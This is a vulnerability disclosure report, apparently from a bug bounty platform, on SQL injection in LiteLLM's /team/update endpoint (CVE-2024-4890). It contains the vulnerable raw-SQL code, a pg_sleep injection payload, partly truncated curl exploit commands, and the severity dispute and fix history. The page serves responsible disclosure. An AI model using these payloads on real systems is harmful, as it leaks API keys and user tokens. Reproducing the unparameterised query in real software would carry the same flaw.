

Blind SQL Injection in [berriai/liteLLm](#)

✓ Valid

Reported on Feb 29th 2024

Description

The "user_id" of the users deleted in the "/team/update" process is used in the raw SQL query and causes SQL injection vulnerability.

Vulnerable piece of code:

```
async def get_data(
    self,
    token: Optional[Union[str, list]] = None,
    user_id: Optional[str] = None,
    user_id_list: Optional[list] = None,
    # .....
):
    # .....
    elif query_type == "find_all" and user_id_list is not None:
        user_id_values = ", ".join(f"'{item}'" for item in user_id_list)
        sql_query = f"""
        SELECT *
        FROM "LiteLLM_UserTable"
        WHERE "user_id" IN ({user_id_values})
        """
        # Execute the raw query
        # The asterisk before `user_id_list` unpacks the list into separate arguments.
        response = await self.db.query_raw(sql_query)
        # .....
```

Proof of Concept

Setup and run server

```
# run postgresql
docker run --rm --name postgresql -p 5432:5432 -e POSTGRES_USER=admin -e POSTGRES_PASSWORD=admin
export DATABASE_URL="postgresql://admin:admin@localhost/liteLLm"
#run server
litellm
```

Let's create a payload that waits for 3 seconds to detect the vulnerability. ') UNION SELECT '1', '','{}', '', NULL, 0, '', '{}', NULL, NULL, NULL, '', NULL, '{}', '{}', '{}' from

pg_sleep(3) -- -

```
# Add a user with the created payload.
curl http://localhost:8000/team/update -X POST -H "Authorization: Bearer sk-1234" -H

# Remove the user. After running the command you will see that this request waits fo
curl http://localhost:8000/team/update -X POST -H "Authorization: Bearer sk-1234" -H
```

The application will interpret the sql as follows:

```
SELECT * FROM "LiteLLM_UserTable" WHERE "user_id" IN ('1', '') UNION SELECT '1', '',
```

Impact

Many data such as API keys, user information and tokens in the database are leaked.

⚙️ We are processing your report and will contact the **berriai/litellm** team within 24 hours. 2 years ago



✎️ **mvlttt** modified the report 2 years ago

✉️ We have contacted a member of the **berriai/litellm** team and are waiting to hear back 2 years ago



✎️ **Dan McInerney** modified the Severity from Critical (9.1) to High (7.2) 2 years ago



Dan McInerney commented 2 years ago

Admin

Do you have a PoC that gives the ability to overwrite/write a file, or cause a denial of service or delete a user? If so, then we can keep Integrity and Availability at High, but if it's only ability is to read sensitive data from the DB then we have to set those two CVSS metrics to None which would bring this down to about 4.9 CVSS. That would make sense since it appears this call is only allowed by the admin who likely already has access to any sensitive information in the DB already.



mvlttt commented 2 years ago

Researcher

In litellm, low authority users (app_user) can be added and these users have limited authority. They can update the team, but they cannot view admin user information. So we can obtain the token information of the low-level user and the admin user. These token values are used when generating JWT tokens.

Upon revisiting, I was able to escalate this vulnerability to a union-based SQL injection. Here's the full exploit.

create a app_user named "test"

```
curl http://localhost:8000/team/update -X POST -H "Authorization: Bearer sk-app_user_token" -H "C
curl http://localhost:8000/team/update -X POST -H "Authorization: Bearer sk-app_user_token" -H "C
curl "http://localhost:8000/user/info?user_id=test" -H "Authorization: Bearer sk-app_user_token"
```

You will see the output of the exploit in the teams section.

- ☑ We have sent a follow up to the **berriai/litellm** team. We will try again in 4 days. 2 years ago
- ☑ We have sent a second follow up to the **berriai/litellm** team. We will try again in 7 days. 2 years ago
- ☑ We have sent a third follow up to the **berriai/litellm** team. We will try again in 14 days. 2 years ago
- ☑ We have sent a fourth follow up to the **berriai/litellm** team. We will send a final notification 48 hours before report publication. 2 years ago
- ☑ We have sent a magic link to the **berriai/litellm** team via the email provided in their **security policy** 2 years ago



A **berriai/litellm** maintainer has acknowledged this report 2 years ago

- ✍ The scheduled publication date was automatically extended from 15th Apr 2024 to 22nd Apr 2024 due to the maintainers acknowledgement of the report 2 years ago



Ishaan Jaff commented 2 years ago

Maintainer

fix here: <https://github.com/BerriAI/litellm/pull/2954>



- ✍ **Ishaan Jaff** modified the Severity from High (7.2) to Low (2.7) 2 years ago



- ✍ **Ishaan Jaff** set the scheduled publication date to May 21st 2024 UTC 2 years ago



mvlтт commented 2 years ago

Researcher

Hi @ishaan-jaff @admin, First of all, I don't know if you read the comments of the report, but after reporting the vulnerability, I managed to upgrade it to "UNION SQL injection", and the attacker can obtain admin authentication tokens, the config file (this file is also written to the database), and information such as authentication tokens and API keys contained in this file/table. This is possible. That's why I think the CVSS score of the report should be valued as high.



Ishaan Jaff commented 2 years ago

Maintainer

@mvlтт only users with a valid proxy api key to the proxy can file a /team/update right ?



mvlttt commented 2 years ago

Researcher

@ishaan-jaff Yes, we need at least one user with the app_user role. We can exploit the vulnerability with this user.



Ishaan Jaff commented 2 years ago

Maintainer

Here's a deployed proxy: Can you execute this vulnerability on it without having an API key to the proxy ? : <https://litellm-main-v1-35-1-dev2.onrender.com/>

curious why did you not file this as an issue on our github repo if you wanted to help us? our other users tend to file issues there: <https://github.com/BerriAI/litellm>



mvlttt commented 2 years ago

Researcher

@ishaan-jaff This is not an unauthenticated vulnerability anyway, so I cannot exploit this vulnerability without a user api key. If you provide a user api key and offer the unauthenticated version, I will try it for you.

Security vulnerabilities in open-source projects are typically not publicly disclosed until after the application has been fixed. Additionally, researchers are rewarded through platforms like Huntr for securing open-source projects, which is why I submitted this report to you via Huntr



Ishaan Jaff commented 2 years ago

Maintainer

IF you can't access this vulnerability without being authenticated into the proxy how is this any higher than a low severity vulnerability ?



mvlttt commented 2 years ago

Researcher

@ishaan-jaff Because cvss calculation does not work like that, authorization only affects the "Privileges required" parameter of cvss. Since this user uses a vulnerability to leak other users' information and API keys, CONFIDENTIALITY, INTEGRITY, AVAILABILITY values need to be marked as high.



Dan McInerney modified the Severity from Low (2.7) to Medium (6.5) 2 years ago

Marcello commented 2 years ago

Admin

@Ishaan, we'd still consider this an issue regardless if an API key is required.

Marcello modified the Severity from Medium (6.5) to Medium (4.9) 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

✓ **Marcello** validated this vulnerability 2 years ago

\$ **mvlttt** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

🔗 **CVE-2024-4890** assigned to this report. 2 years ago

⚠ We have sent a warning to the **berriai/litellm** team to inform them that this report will be published in 48 hours 2 years ago

📡 This vulnerability has now been published 2 years ago

🔗 **CVE-2024-4890** has now been published 2 years ago

✉ We have notified the **berriai/litellm** maintainers about this report in their weekly follow-up a year ago

Krish Dholakia commented a year ago

Maintainer

picking up this ticket - litellm maintainer

Krish Dholakia commented a year ago

Maintainer

This has now been fixed -

<https://github.com/BerriAI/litellm/pull/6242/commits/70678d9e659980880c46fae378c8380987db84e1>

Will be live in prod by EOD. @mvlttt @Marcello

what is the process for closing this out?

Krish Dholakia commented a year ago

Maintainer

How do we close this issue team?



✓ **Ishaan Jaff** marked this as fixed in **1.50.1** with commit **70678d** a year ago

\$ The fix bounty has been dropped ✗

[Sign in](#) to join this conversation

CVE-2024-4890
Published

Vulnerability Type
CWE-89: SQL Injection

Severity
Medium (4.9)

Attack vector	Network
Attack complexity	Low
Privileges required	High
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#) 

Registry
Pypi

Affected Version
1.27.14

Visibility
Public

Status
Fixed

Disclosure Bounty
\$125

Fix Bounty
\$31.25

Found by



mvlttt
@mvlttt
MIDDLEWEIGHT


Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

